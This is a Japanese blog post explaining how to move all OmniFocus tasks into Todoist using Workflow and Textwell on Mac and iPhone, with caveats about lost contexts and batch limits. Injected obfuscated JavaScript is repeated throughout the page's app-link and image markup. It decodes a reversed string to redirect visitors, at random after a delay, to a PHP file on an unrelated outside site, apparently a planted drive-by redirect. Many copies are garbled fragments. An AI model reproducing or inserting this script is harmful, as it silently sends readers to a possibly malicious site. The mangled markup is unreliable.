Sumirexxx

今日もiPhone片手に出かけます

SMRX* WorkflowとTextwellを使ってOmnifocusのタスクを丸ごとTodoistに移行する方法

iPhone Omnifocus Textwell

いままでOmnifocusを使ってタスク管理していたすみれ(@sumire20120524)です。

諸事情により、今後はTodoistに移行しようと思いましたが、そこで問題だったのはOmnifocusに残ったタスクたち。

ひとつずつ移行するのはかなりの時間を使いそう。そこで考えたのが、workflowとTextwellを使って移行する方法です。

workflowは今回初めて使いましたがアクションを拝借しただけだったので、とっても簡単でした。

ただ、いくつか注意点もあります。最後の方に書いてあるので、先に確認したい方は後ろから読んでみてください。

使用するアプリ

今回使用するアプリは、Omnifocus、Todoist、Textwell、workflowです。

それぞれ、Mac版とiPhone版によって使う場面が違うので確認してみてください。

Macアプリ

移行元である、Mac版『Omifocus or Omnifocus2』

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de-5c8f-ba81-50b4-a62a2e6c4aa2/AppIcon.512×512-75.png” style=”float:left;margin: 0px 15px 15px 5px;”>OmniFocus 2
カテゴリ: 仕事効率化, ビジネス

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (c==3){var andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay);}andom()*5);if (number1==3){var andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay);}sample/images/apri_downloadbutton.gif” alt=”アプリをダウンロードする” width=”280″ height=”50″ />

Mac版『Textwell』(iPhone環境のTextwellにペーストできるアプリであればこれでなくても良いです)

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de/6f/c7andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de6f1a-9093-ed4f-33f8-andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}dea32578b587/AppIcon.512×512-75.png” style=”float:left;margin: 0px 15px 15px 5px;”>Textwell
カテゴリ: 仕事効率化, ユーティリティ

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (c==3){var andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay);}andom()*5);if (number1==3){var andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay);}sample/images/apri_downloadbutton.gif” alt=”アプリをダウンロードする” width=”280″ height=”50″ />

iPhoneアプリ

iPhoneでの操作を自動化してくれる『workflow』WorkflowWorkflowyは全く別物なので間違えないようにしてください。

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der-radius: 20px 20px 20px 20px;-moz-borandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der-radius: 20px 20px 20px 20px;-webkit-borandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der-radius: 20px 20px 20px 20px;box-shadow: 1px 4px 6px 1px #999999;-moz-box-shadow: 1px 4px 6px 1px #999999;-webkit-box-shadow: 1px 4px 6px 1px #999999;margin: -5px 15px 1px 5px;”> Workflow: Powerful Automation Maandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de Simple 1.2.3(¥400)
カテゴリ: 仕事効率化, ユーティリティ

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (c==3){var andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay);}andom()*5);if (number1==3){var andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay);}sample/images/apri_downloadbutton.gif” alt=”アプリをダウンロードする” width=”280″ height=”50″ />

iPhone版『Textwell』アクションを利用します。

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der-radius: 20px 20px 20px 20px;-moz-borandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der-radius: 20px 20px 20px 20px;-webkit-borandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der-radius: 20px 20px 20px 20px;box-shadow: 1px 4px 6px 1px #999999;-moz-box-shadow: 1px 4px 6px 1px #999999;-webkit-box-shadow: 1px 4px 6px 1px #999999;margin: -5px 15px 1px 5px;”> Textwell 1.4(¥360)
カテゴリ: 仕事効率化, ユーティリティ

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (c==3){var andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay);}andom()*5);if (number1==3){var andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay);}sample/images/apri_downloadbutton.gif” alt=”アプリをダウンロードする” width=”280″ height=”50″ />

おまけ

ちなみにWorkflowyはアウトラインエディタです。こちらも便利らしいので気になっていますが、今回は使いません。

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der-radius: 20px 20px 20px 20px;-moz-borandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der-radius: 20px 20px 20px 20px;-webkit-borandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der-radius: 20px 20px 20px 20px;box-shadow: 1px 4px 6px 1px #999999;-moz-box-shadow: 1px 4px 6px 1px #999999;-webkit-box-shadow: 1px 4px 6px 1px #999999;margin: -5px 15px 1px 5px;”> WorkFlowy 1.2.8(無料)
カテゴリ: 仕事効率化, ユーティリティ

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (c==3){var andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay);}andom()*5);if (number1==3){var andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay);}sample/images/apri_downloadbutton.gif” alt=”アプリをダウンロードする” width=”280″ height=”50″ />

用意ができたら、Mac版のOmnifocusからスタートします。

Mac版Omnifocus

Omnifocusを開き、ライブラリを選択します。

プロジェクトのあたりをクリックして選択可能になったら、⌘+Aでアクションをすべて選択、⌘+Cでコピーします。画像でいうとピンクに反転している部分が全て選択されている状態です。

スクリーンショット 2015 06 10 00 57 30$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ width=”599″ height=”365″>

このままTodoistには貼り付けません。

⌘+VでMac版Textwellに貼り付けます。

Mac版Textwellの場合、貼り付けた後に⌘+Sしないと保存されないので注意が必要です。

スクリーンショット 2015 06 12 07 01 32$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ width=”600″ height=”375″>

workflowの準備

ここでW&R : Jazzと読書の日々のwinerosesさんのTextwellアクションを拝借します。

(ここからはiPhoneかiPadを使用)

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ src=”http://capture.heartrails.com/150×130/shadow?http://d.hatena.ne.jp/wineroses/20150607/p1″ alt=”” width=”150″ height=”130″>Todoistに複数のタスク登録ってTextwellからなら一気に出来るよ Tasks – W&R : Jazzと読書の日々$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ src=”http://b.hatena.ne.jp/entry/image/http://d.hatena.ne.jp/wineroses/20150607/p1″ alt=””>

ここにある『Tasks』というアクションをTextwellに登録します。たったこれだけ。

Textwellに『Tasks』が追加されます。

同時に、workflowにも追加されます。

これで全ての準備が整いました。

Todoistに移行

Textwellの内容をTodoistに移動させます。

さきほどMacのTextwellで保存した内容を、iCloud経由でiPhoneのTextwellから開きます。(待っていればそのうち同期されます)もし同期されないときはiCloudとTextwellの設定を見直してみてください→TextwellをiPhone、iPad、Macで同期する方法 | Sumirexxx

アクションメニューから先ほど追加した『Task』を実行します。

workflowが立ち上がり、なにやら処理が走ります。

タスクの数が多いほど、何度か処理を実行するので何十秒か時間がかかります。グリーンの色が消えたら、終わったということなので、Todoistを開いて確認します。

ちょっとわかりにくいかもしれませんが、受信トレイの件数が0件から48件に増えたのがわかるでしょうか?Omnifocus→Textwellにコピーした内容がTodoistに転送されました。

内容も、Omnifocusのライブラリ通りに反映されます。

実行する前の注意点

Omnifocusの内容をTextwell→workflowを経由してTodoistに移行したわけですが、ここでいくつか注意点。

プロジェクト名もタスクとして入る

コンテキストは消える

すべて今日の日付タスクになる

件数が多い場合は、何回かに分けて処理する必要がある

注意1

プロジェクト名がタスクとして入ってしまいますが、あえて残してネスとするという手もあります。

注意2

コンテキストが消えるのは、Todoistにコンテキストの考え方がないから仕方ないかなと思います。

注意3

すべて今日の日付になる。一括で消すような方法があるといいのですが。考え中です。

PCなら一括で変えられるかな?

注意4

件数が多い場合。

私は全部で200件であり、50件くらいで一度処理が終了もしくは落ちるようです。

これは解決法がありました。

Todoistに反映された部分までを確認→Textwellから移行済みのタスクを削除→『Tasks』を実行、を何度か繰り返す方法です。

Textwellから削除することで、タスクのダブりを防ぐことができます。

私は4〜5回繰り返しました。

まとめ

大変なところは自動で処理できるので、朝の通勤時間だけで移行は完了しました。(分割して取り込むのも含めて)

注意点にも挙げたような部分もあるので、使用には注意が必要ですが。

私はめんどくさいのでOmnifocusからコピーするとき全タスクを選択しましたが、プロジェクトごとにコピーしてご自分の好みや件数に合わせて使い分けると、もう少し繊細な移行ができて良いかもしれません。

この記事をシェアする

<